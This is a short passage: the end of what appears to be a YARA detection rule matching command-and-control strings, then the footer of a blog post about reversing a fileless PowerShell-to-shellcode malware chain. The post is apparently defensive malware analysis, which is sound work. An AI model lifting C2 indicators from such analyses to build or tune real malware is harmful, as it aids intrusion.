or
(
4 of ($c2_*)
)
}
PowerShell to Shellcode: Reversing a Fileless Multi-Stage Malware Chain May 2026
https://fuwari.vercel.app/posts/powershell-to-shellcode-reversing-a-fileless-multi-stage-malware-chain-may-2026/notes/
Author
0xB14CKY
Published at
2026-05-08
License
CC BY-NC-SA 4.0